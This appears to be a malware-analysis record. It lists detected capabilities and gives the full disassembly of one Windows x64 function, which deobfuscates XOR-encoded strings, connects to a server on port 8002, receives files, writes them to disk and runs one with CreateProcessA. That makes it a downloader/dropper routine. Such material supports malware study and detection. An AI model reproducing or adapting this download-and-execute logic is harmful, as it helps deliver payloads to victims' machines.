Function at 0x140001910
Capabilities:
Check if file exists
Connect socket
Convert ip address from string
Create directory
Create process on windows
Download and write a file
Encode data using xor
Get file attributes
Initialize winsock library
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x458]
sub rsp, 0x530
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x140004070]
xor rax, rsp
mov qword [rbp + 0x420], rax
mov ecx, 0x202
lea rdx, [rbp + 0x50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rbp + 0x210], 0x7a62705e
mov dword [rbp + 0x214], 0x7a58ab5e
mov dword [rbp + 0x218], 0x7a58455d
mov dword [rbp + 0x21c], 0x61585d
lea rcx, [rbp + 0x210]
mov edx, reloc.WS2_32.dll_recv
movzx eax, byte [rcx]
xor al, 0x68
sub al, 0x68
xor al, 0x8f
add al, 0x71
xor al, 0xc4
add al, 0x3c
xor al, 0xaa
add al, 0x56
xor al, 0x97
add al, 0x69
xor al, 0xcb
add al, 0x35
xor al, 0x77
sub al, 0x77
mov byte [rcx], al
inc rcx
dec rdx
jne 0x140001993
mov dword [rbp + 0x1f0], 0xd7d7b1cf
mov dword [rbp + 0x1f4], 0xffe8eed8
mov dword [rbp + 0x1f8], 0xd7e4ece2
mov word [rbp + 0x1fc], 0x8bd7
lea rax, [rbp + 0x1f0]
mov ecx, recv
nop
xor byte [rax], 0x8b
inc rax
dec rcx
jne 0x1400019f0
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor r14d, r14d
cmp eax, 0xffffffff
je 0x140001a14
test al, 0x10
jne 0x140001a50
xor edx, edx
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
setne al
test al, al
jne 0x140001a50
mov ecx, r14d
lea rdx, [rbp + 0x210]
movabs rdi, 0x1d1b18b9ad
mov byte [rdx], 0x78
inc ecx
inc rdx
movsxd rax, ecx
cmp rax, rdi
jl 0x140001a40
mov dword [rbp + 0x220], 0x2e7a6e4a
mov dword [rbp + 0x224], 0x657865
mov r15d, 1
mov r13d, 0x400
mov edi, 2
mov r8d, 6
mov edx, r15d
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001fab
xor eax, eax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
mov word [rbp - 0x10], di
mov ecx, 0x1f42
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp - 0xe], ax
lea r8, [rbp - 0xc]
lea rdx, [rbp + 0x210]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x10]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140001e97
mov dword [rbp + 0x200], 0xf7f1f1db
mov dword [rbp + 0x204], 0xf5d4e5f4
mov dword [rbp + 0x208], 0xf6fffd
lea rcx, [rbp + 0x200]
mov edx, recv
nop dword [rax]
movzx eax, byte [rcx]
xor al, 0x33
sub al, 0x33
xor al, 0x7e
sub al, 0x7e
mov byte [rcx], al
inc rcx
dec rdx
jne 0x140001b10
mov rax, qword [rbp + 0x200]
mov qword [rbp], rax
mov eax, dword [rbp + 0x208]
mov dword [rbp + 8], eax
mov edx, 6
lea rcx, [rbp + 0xc]
call fcn.140001060
mov r11d, r14d
lea r8, [rbp + 1]
nop
mov eax, 0xcccccccd
mul r11d
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, r11d
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rbp + rax + 0xc]
xor byte [r8 - 1], cl
lea edi, [r11 + 2]
lea ecx, [rdi - 1]
mov eax, 0xcccccccd
mul ecx
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, r11d
sub ecx, eax
lea eax, [rcx + 1]
cdqe
movzx ecx, byte [rbp + rax + 0xc]
xor byte [r8], cl
mov eax, 0xcccccccd
mul edi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, r11d
sub ecx, eax
lea eax, [rcx + 2]
cdqe
movzx ecx, byte [rbp + rax + 0xc]
xor byte [r8 + 1], cl
lea ecx, [rdi + 1]
mov eax, 0xcccccccd
mul ecx
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, r11d
sub ecx, eax
lea eax, [rcx + 3]
cdqe
movzx ecx, byte [rbp + rax + 0xc]
xor byte [r8 + 2], cl
lea ecx, [rdi + 2]
mov eax, 0xcccccccd
mul ecx
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, r11d
sub ecx, eax
lea eax, [rcx + 4]
cdqe
movzx ecx, byte [rbp + rax + 0xc]
xor byte [r8 + 3], cl
lea ecx, [rdi + 3]
mov eax, 0xcccccccd
mul ecx
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, r11d
sub ecx, eax
lea eax, [rcx + 5]
cdqe
movzx ecx, byte [rbp + rax + 0xc]
xor byte [r8 + 4], cl
add r11d, 6
add r8, 6
cmp r11d, 0xc
jl 0x140001b50
xor r9d, r9d
lea r8d, [r9 + 0x12]
lea rdx, [rbp]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x140001c52
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov dword [rsp + 0x5c], r14d
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x5c]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140001e7e
test eax, eax
je 0x140001e7e
mov eax, dword [rsp + 0x5c]
test eax, eax
jle 0x140001e7e
mov r12d, r14d
nop dword [rax]
cmp r12d, eax
jge 0x140001eb0
mov dword [rsp + 0x58], r14d
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x58]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140001e7e
test eax, eax
je 0x140001e7e
mov edi, dword [rsp + 0x58]
test edi, edi
jle 0x140001e7e
xor edx, edx
mov r8d, 0xdf
lea rcx, [rbp + 0x340]
call sub.MSVCR100.dll_memset
xor r9d, r9d
mov r8d, edi
lea rdx, [rbp + 0x340]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140001e7e
test eax, eax
je 0x140001e7e
cmp dword [rsp + 0x58], r14d
jle 0x140001e7e
mov dword [rsp + 0x50], r14d
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140001e7e
test eax, eax
je 0x140001e7e
movsxd rax, dword [rsp + 0x50]
test eax, eax
jle 0x140001e7e
mov edi, r14d
mov rcx, rax
call fcn.140001ff0
mov rsi, rax
mov ecx, dword [rsp + 0x50]
test ecx, ecx
jle 0x140001da6
nop word [rax + rax]
sub ecx, edi
cmp ecx, r13d
cmovg ecx, r13d
movsxd rdx, edi
add rdx, rsi
xor r9d, r9d
mov r8d, ecx
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
mov ecx, dword [rsp + 0x50]
cmp eax, 0xffffffff
je 0x140001da3
test eax, eax
je 0x140001da6
add edi, eax
cmp edi, ecx
jl 0x140001d70
jmp 0x140001da6
mov edi, r14d
cmp edi, ecx
jne 0x140001e76
mov byte [rbp + 0x230], r14b
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0x231]
call sub.MSVCR100.dll_memset
lea rdi, [rbp + 0x230]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea rdx, [rbp + 0x1f0]
xor ecx, ecx
movzx eax, byte [rdx + rcx]
mov byte [rdi + rcx - 1], al
inc rcx
test al, al
jne 0x140001de1
lea rdi, [rbp + 0x230]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea rdx, [rbp + 0x340]
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
mov byte [rdi + rcx - 1], al
inc rcx
test al, al
jne 0x140001e10
mov word [rsp + 0x54], 0x6277
mov byte [rsp + 0x56], r14b
lea rdx, [rsp + 0x54]
lea rcx, [rbp + 0x230]
call qword [sym.imp.MSVCR100.dll_fopen]
mov rdi, rax
test rax, rax
je 0x140001e62
movsxd rdx, dword [rsp + 0x50]
mov r9, rax
mov r8, r15
mov rcx, rsi
call qword [sym.imp.MSVCR100.dll_fwrite]
mov rcx, rdi
call qword [sym.imp.MSVCR100.dll_fclose]
mov rcx, rsi
call sub.MSVCR100.dll_void___cdecl_operator_delete___void____ptr64_
inc r12d
mov eax, dword [rsp + 0x5c]
jmp 0x140001c90
mov rcx, rsi
call sub.MSVCR100.dll_void___cdecl_operator_delete___void____ptr64_
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001a70
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001a75
xor edx, edx
lea r8d, [rdx + 0x68]
lea rcx, [rbp - 0x80]
call sub.MSVCR100.dll_memset
mov dword [rbp - 0x80], 0x68
mov dword [rbp - 0x44], r15d
mov word [rbp - 0x40], r15w
xor eax, eax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rbp + 0x18], send
mov qword [rbp + 0x10], r14
mov byte [rbp], al
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x1f0]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp]
call fcn.1400016e0
nop
lea r8, [rbp + 0x220]
lea rdx, [rbp]
lea rcx, [rbp + 0x28]
call fcn.1400018a0
nop
cmp qword [rbp + 0x18], 0x10
jb 0x140001f40
mov rcx, qword [rbp]
call sub.MSVCR100.dll_void___cdecl_operator_delete_void____ptr64_
nop dword [rax]
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae rdx, qword [rbp + 0x28]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001f9b
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001f40
cmp qword [rbp + 0x40], 0x10
jb 0x140001fab
mov rcx, qword [rbp + 0x28]
call sub.MSVCR100.dll_void___cdecl_operator_delete_void____ptr64_
mov rcx, qword [rbp + 0x420]
xor rcx, rsp
call fcn.140002140
lea r11, [rsp + 0x530]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret